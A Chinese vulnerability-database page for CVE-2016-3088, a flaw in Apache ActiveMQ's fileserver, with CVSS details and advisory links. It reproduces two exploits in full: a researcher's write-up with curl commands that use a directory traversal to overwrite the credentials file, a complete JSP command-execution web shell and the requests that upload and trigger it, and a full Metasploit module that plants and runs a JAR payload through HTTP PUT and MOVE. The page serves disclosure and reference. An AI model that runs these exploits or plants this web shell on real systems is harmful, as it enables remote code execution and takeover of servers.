CVE-2016-3088
CVSS7.5
发布时间 :2016-06-01 16:59:04
修订时间 :2016-06-02 14:33:06
NMP    

[原文]The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request.


[CNNVD]CNNVD数据暂缺。


[机译]Google 翻译(企业版):

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-20 [输入验证不恰当]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3088
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-3088
(官方数据源) NVD

- 其它链接及资源

http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt
(UNKNOWN)  CONFIRM  http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt
http://www.securitytracker.com/id/1035951
(UNKNOWN)  SECTRACK  1035951
http://www.zerodayinitiative.com/advisories/ZDI-16-356
(UNKNOWN)  MISC  http://www.zerodayinitiative.com/advisories/ZDI-16-356
http://www.zerodayinitiative.com/advisories/ZDI-16-357
(UNKNOWN)  MISC  http://www.zerodayinitiative.com/advisories/ZDI-16-357

- 漏洞信息 (F139999)

Apache ActiveMQ 5.11.1 / 5.13.2 Directory Traversal / Command Execution (PacketStormID:F139999)
2016-12-03 00:00:00
David Jorm  
exploit,vulnerability,file inclusion
CVE-2015-1830,CVE-2016-3088
[点击下载]

Apache ActiveMQ versions 5.11.1 and 5.13.2 suffer from command execution and directory traversal vulnerabilities.

I have recently been playing with Apache ActiveMQ, and came across a simple but interesting directory traversal flaw in the fileserver upload/download functionality. 

I have only been able to reproduce this on Windows, i.e. where "\" is a path delimiter. 

An attacker could use this flaw to upload arbitrary files to the server, including a JSP shell, leading to remote code execution.
 
Exploiting Windows systems to achieve RCE The default conf/jetty.xml includes:

 <bean class="org.eclipse.jetty.security.ConstraintMapping" id="securityConstraintMapping">  
     <property name="constraint" ref="securityConstraint">  
     <property name="pathSpec" value="/api/*,/admin/*,*.jsp">  
   </property></property>  
 </bean>  

Effectively blocking the upload of JSP files into contexts that will allow them to execute. 
 
I imagine there are many ways around this; for my proof of concept I opted to overwrite conf/jetty-realm.properties and set my own credentials:
 
$ cat jetty-realm.properties hacker: hacker, admin
$ curl -v -X PUT --data "@jetty-realm.properties" http://TARGET:8161/fileserver/..\\conf\\jetty-realm.properties
 
This seems to have the disadvantage of requiring a reboot of the server to take effect. 

I am not sure if that is always the case, but if so, I'm pretty sure there is some other workaround that wouldn't require a reboot. 
The attacker can then take a standard JSP shell:
 
$ cat cmd.jsp 
 <%@ page import="java.util.*,java.io.*"%>  
 <%  
 %>  
 <HTML><BODY>  
 Commands with JSP  
 <FORM METHOD="GET" NAME="myform" ACTION="">  
 <INPUT TYPE="text" NAME="cmd">  
 <INPUT TYPE="submit" VALUE="Send">  
 </FORM>  
 <pre>  
 <%  
 if (request.getParameter("cmd") != null) {  
 out.println("Command: " + request.getParameter("cmd") + "<BR>");  
 Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));  
 OutputStream os = p.getOutputStream();  
 InputStream in = p.getInputStream();  
 DataInputStream dis = new DataInputStream(in);  
 String disr = dis.readLine();  
 while ( disr != null ) {  
 out.println(disr);  
 disr = dis.readLine();  
 }  
 }  
 %>  
 </pre>  
 </BODY></HTML>  
 
Upload it, exploiting the "..\" directory traversal flaw to put it into an executable context:
 
$ curl -u 'hacker:hacker' -v -X PUT --data "@cmd.jsp" http://TARGET:8161/fileserver/..\\admin\\cmd.jsp
 
And pop a calc on the server:
 
$ curl -u 'hacker:hacker' -v -X GET http://TARGET:8161/admin/cmd.jsp?cmd=calc.exe
 
Exploiting non-Windows servers
 
All attempts at directory traversal on a Linux system failed - encoded, double encoded, and UTF-8 encoded "../" were all caught by Jetty. Only "..\" worked. 
That said, clients can specify the uploadUrl for a blob transfer, e.g.:
 
tcp://localhost:61616?jms.blobTransferPolicy.uploadUrl=http://foo.com
 
An attacker able to enqueue messages could use this to perform server side request forgery to an arbitrary uploadUrl target, even when running on non-Windows servers.
 
Resolution
 
The ActiveMQ project has released an advisory and patches. 

This is not the first instance of such a flaw in an open source Java application; CVE-2014-7816 comes to mind. 

It demonstrates that while Java may be platform independent, many developers are used to developing for a particular OS, and don't necessarily take cross-platform concerns into account.
    

- 漏洞信息 (F143191)

Apache ActiveMQ 5.x Web Shell Upload (PacketStormID:F143191)
2017-06-29 00:00:00
Hillary Benson,Ian Anderson  metasploit.com
exploit,remote,web,arbitrary
CVE-2016-3088
[点击下载]

The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'ActiveMQ web shell upload',
      'Description' => %q(
        The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0
        allows remote attackers to upload and execute arbitrary files via an
        HTTP PUT followed by an HTTP MOVE request.
      ),
      'Author'      => [ 'Ian Anderson <andrsn84[at]gmail.com>', 'Hillary Benson <1n7r1gu3[at]gmail.com>' ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2016-3088' ],
          [ 'URL', 'http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt' ]
        ],
      'Privileged'  => true,
      'Platform'    => %w{ java linux win },
      'Targets'     =>
        [
          [ 'Java Universal',
            {
              'Platform' => 'java',
              'Arch' => ARCH_JAVA
            }
          ],
          [ 'Linux',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86
            }
          ],
          [ 'Windows',
             {
               'Platform' => 'win',
               'Arch' => ARCH_X86
             }
           ]
        ],
      'DisclosureDate' => "Jun 01 2016",
      'DefaultTarget'  => 0))
    register_options(
      [
        OptString.new('BasicAuthUser', [ true, 'The username to authenticate as', 'admin' ]),
        OptString.new('BasicAuthPass', [ true, 'The password for the specified username', 'admin' ]),
        OptString.new('JSP', [ false, 'JSP name to use, excluding the .jsp extension (default: random)', nil ]),
        OptString.new('AutoCleanup', [ false, 'Remove web shells after callback is received', 'true' ]),
        Opt::RPORT(8161)
      ])
    register_advanced_options(
      [
        OptString.new('UploadPath', [false, 'Custom directory into which web shells are uploaded', nil])
      ])
  end

  def jsp_text(payload_name)
    %{
    <%@ page import="java.io.*"
    %><%@ page import="java.net.*"
    %><%
    URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./#{payload_name}.jar")).toURI().toURL()});
    Class c = cl.loadClass("metasploit.Payload");
    c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
    %>}
  end

  def exploit
    jar_payload = payload.encoded_jar.pack
    payload_name = datastore['JSP'] || rand_text_alpha(8 + rand(8))
    host = "#{datastore['RHOST']}:#{datastore['RPORT']}"
    @url = datastore['SSL'] ? "https://#{host}" : "http://#{host}"
    paths = get_upload_paths
    paths.each do |path|
      if try_upload(path, jar_payload, payload_name)
        break handler if trigger_payload(payload_name)
        print_error('Unable to trigger payload')
      end
    end
  end

  def try_upload(path, jar_payload, payload_name)
    ['.jar', '.jsp'].each do |ext|
      file_name = payload_name + ext
      data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload
      move_headers = { 'Destination' => "#{@url}#{path}#{file_name}" }
      upload_uri = normalize_uri('fileserver', file_name)
      print_status("Uploading #{move_headers['Destination']}")
      register_files_for_cleanup "#{path}#{file_name}" if datastore['AutoCleanup'].casecmp('true')
      return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) &&
                              send_request('MOVE', upload_uri, 204, 'headers' => move_headers)
      @trigger_resource = /webapps(.*)/.match(path)[1]
    end
    true
  end

  def get_upload_paths
    base_path = "#{get_install_path}/webapps"
    custom_path = datastore['UploadPath']
    return [normalize_uri(base_path, custom_path)] unless custom_path.nil?
    [ "#{base_path}/api/", "#{base_path}/admin/" ]
  end

  def get_install_path
    properties_page = send_request('GET', "#{@url}/admin/test/systemProperties.jsp").body
    match = properties_page.tr("\n", '@').match(/activemq\.home<\/td>@\s*<td>([^@]+)<\/td>/)
    return match[1] unless match.nil?
  end

  def send_request(method, uri, expected_response = 200, opts = {})
    opts['headers'] ||= {}
    opts['headers']['Authorization'] = basic_auth(datastore['BasicAuthUser'], datastore['BasicAuthPass'])
    opts['headers']['Connection'] = 'close'
    r = send_request_cgi(
      {
        'method'  => method,
        'uri'     => uri
      }.merge(opts)
    )
    return false if r.nil? || expected_response != r.code.to_i
    r
  end

  def trigger_payload(payload_name)
    send_request('POST', @url + @trigger_resource + payload_name + '.jsp')
  end

  def error_out
    print_error('Upload failed')
    @trigger_resource = nil
    false
  end
end
    
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站